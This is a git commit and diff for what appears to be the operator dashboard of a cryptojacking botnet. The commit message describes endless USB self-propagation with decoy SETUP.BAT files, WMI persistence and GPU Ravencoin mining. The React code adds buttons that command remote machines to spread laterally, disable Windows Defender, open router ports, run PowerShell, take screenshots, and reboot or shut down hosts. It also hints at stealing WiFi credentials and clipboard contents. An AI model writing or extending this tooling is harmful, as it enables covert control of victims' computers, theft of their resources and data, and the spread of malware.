Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -128,7 +128,7 @@
.tactical-bottom-row {
display: flex;
gap: 20px;
height: 250px;
height: 380px;
}
.drop-zone {
@@ -172,13 +172,32 @@
white-space: pre-wrap;
}
.terminal-placeholder { color: #555; font-style: italic; }
.terminal-titlebar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 5px 10px;
background: #0a0014;
border-bottom: 1px solid rgba(0,229,255,0.15);
flex-shrink: 0;
}
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
.log-line.log-ok { color: #00ff88; }
.log-line.log-err { color: #ff4444; }
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
.log-line.log-warn { color: #ffaa00; }
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
@@ -212,4 +231,95 @@
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }
.log-line { line-height: 1.45; word-break: break-all; }
/* Offline & busy badges in header */
.offline-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,40,40,0.2);
border: 1px solid rgba(255,40,40,0.5);
border-radius: 4px;
color: #ff6666;
font-weight: bold;
letter-spacing: 0.04em;
}
.busy-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,171,0,0.2);
border: 1px solid rgba(255,171,0,0.4);
border-radius: 4px;
color: #ffcc44;
animation: pulse-amber 1.2s ease-in-out infinite;
}
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
@keyframes pulse-amber {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
/* WOL section */
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
.wol-toggle {
font-size: 0.8rem;
padding: 6px 12px;
border-radius: 4px;
border: 1px solid rgba(0,229,255,0.3);
background: rgba(0,229,255,0.06);
color: #00e5ff;
cursor: pointer;
transition: all 0.2s;
text-align: left;
}
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
.wol-form {
display: flex;
gap: 0.5rem;
align-items: center;
flex-wrap: wrap;
}
.wol-mac-input {
flex: 1;
min-width: 220px;
background: rgba(0,0,0,0.5);
border: 1px solid rgba(0,229,255,0.25);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.wol-mac-input:focus { border-color: #00e5ff; }
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
/* Compact mode extras */
.compact-offline-banner {
font-size: 0.72rem;
color: #ff6666;
background: rgba(255,40,40,0.1);
border: 1px solid rgba(255,40,40,0.3);
border-radius: 4px;
padding: 3px 8px;
margin-bottom: 6px;
}
.compact-terminal {
margin-top: 6px;
background: #050505;
border: 1px solid #1a1a1a;
border-radius: 4px;
padding: 5px 8px;
font-family: 'Consolas', monospace;
font-size: 0.72rem;
max-height: 80px;
overflow-y: auto;
}
.compact-log-line {
color: #aaa;
line-height: 1.35;
white-space: pre-wrap;
word-break: break-all;
}
.compact-log-line:last-child { color: #e0e0e0; }

View File

@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import './AgentRemoteActions.css';
const TERMINAL_MAX_LINES = 500;
@@ -22,6 +23,8 @@ interface Props {
/** @deprecated Pass commandResults instead. */
latestWsMessage?: { type: string; payload: unknown } | null;
onCommandSent?: (action: string) => void;
/** If true, inject a live stats snapshot into the terminal when agent updates */
showLiveStats?: boolean;
}
export default function AgentRemoteActions({
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
compact = false,
commandResults,
onCommandSent,
showLiveStats = false,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
const lastStatsRef = useRef<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agentId]);
// Pre-fill WOL MAC from agent object when it becomes available
useEffect(() => {
if (agent?.mac_address && !wolMac) {
setWolMac(agent.mac_address);
}
}, [agent?.mac_address]);
// Live stats ticker — appends a concise status line whenever agent data changes.
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
const lastStatsPushRef = useRef(0);
useEffect(() => {
if (!showLiveStats || !agent || agent.status !== 'online') return;
const snapshot = [
agent.hashrate_15s?.toFixed(0),
agent.cpu_usage_pct?.toFixed(0),
agent.memory_usage_pct?.toFixed(0),
agent.cpu_temp_c,
].join('|');
if (snapshot === lastStatsRef.current) return;
const now = Date.now();
if (now - lastStatsPushRef.current < 15000) return;
lastStatsRef.current = snapshot;
lastStatsPushRef.current = now;
const parts: string[] = [
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
];
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
// Filters by _seq so the ring-buffer trim never makes us miss results.
useEffect(() => {
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`Screenshot saved — ${label}`);
addLog(`Screenshot saved — ${label}`);
} else {
addLog(`[SCREENSHOT] ${label}: invalid image data`);
addLog(`[SCREENSHOT] ${label}: invalid image data`);
}
} else {
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
const icon = success ? '' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
}
}
}, [commandResults, agentId, addLog]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
addLog('No agent selected');
addLog('No agent selected');
return;
}
if (agent && !isOnline) {
addLog('Agent is offline');
if (action !== 'wol' && agent && !isOnline) {
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
setBusy('wol');
try {
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
const res = await api.sendWOL(agentId, args.mac as string | undefined);
if (res.success) {
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
} else {
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
}
} catch (err: unknown) {
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
} finally {
setBusy(null);
}
return;
}
setBusy(action);
try {
if (action === 'screenshot') {
addLog(`Capturing desktop on ${agentName}`);
} else if (!compact) {
addLog(`> Executing ${action}...`);
addLog(`Capturing desktop on ${agentName}`);
} else {
addLog(` ${action}${agentId === 'all' ? 'FLEET' : agentName}`);
}
const res = await api.sendAgentCommand(agentId, action, args);
if (res.success === false) {
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return;
}
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
if (action !== 'screenshot') addLog(`✓ command queued`);
onCommandSent?.(action);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed';
addLog(`API Error: ${msg}`);
addLog(` ${msg}`);
} finally {
setBusy(null);
}
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
if (compact) {
return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
{!isOnline && (
<div className="compact-offline-banner"> offline commands disabled</div>
)}
<div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner"></button>
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner"></button>
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine"></button>
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine"></button>
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN"></button>
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process"></button>
</div>
{terminalLog.length > 0 && (
<div className="compact-terminal">
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
</div>
)}
</div>
);
}
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
<div className="tactical-panel">
<div className="tactical-header">
<div className="target-indicator">
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
{!isFleet && !isOnline && (
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
</div>
</div>
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
<div className="action-group power-group">
<h3>System Power</h3>
<div className="button-grid">
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setWolExpanded((p) => !p)}
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
>
Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
</button>
{wolExpanded && (
<div className="wol-form">
<input
type="text"
className="wol-mac-input"
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
value={wolMac}
onChange={(e) => setWolMac(e.target.value)}
/>
<button
type="button"
className="btn-cyan"
disabled={!!busy}
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
>
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
</button>
</div>
)}
</div>
</div>
<div className="action-group upgrade-group">
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
</div>
<div className="master-terminal">
<div className="terminal-titlebar">
<span className="terminal-title"> REMOTE TERMINAL {agentId === 'all' ? 'FLEET' : agentName}</span>
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
</div>
<div className="terminal-output">
{terminalLog.length === 0 ? (
<span className="terminal-placeholder">Awaiting telemetry...</span>
<div className="terminal-placeholder">
<div> Terminal ready send a command to see output here</div>
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline only WOL is available</div>}
</div>
) : (
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
terminalLog.map((log, i) => (
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
{log}
</div>
))
)}
<div ref={logEndRef} />
</div>
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
type="text"
value={customCmd}
onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
autoComplete="off"
disabled={!isOnline}
/>
<button type="submit" disabled={!isOnline}>EXEC</button>
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
</form>
</div>
</div>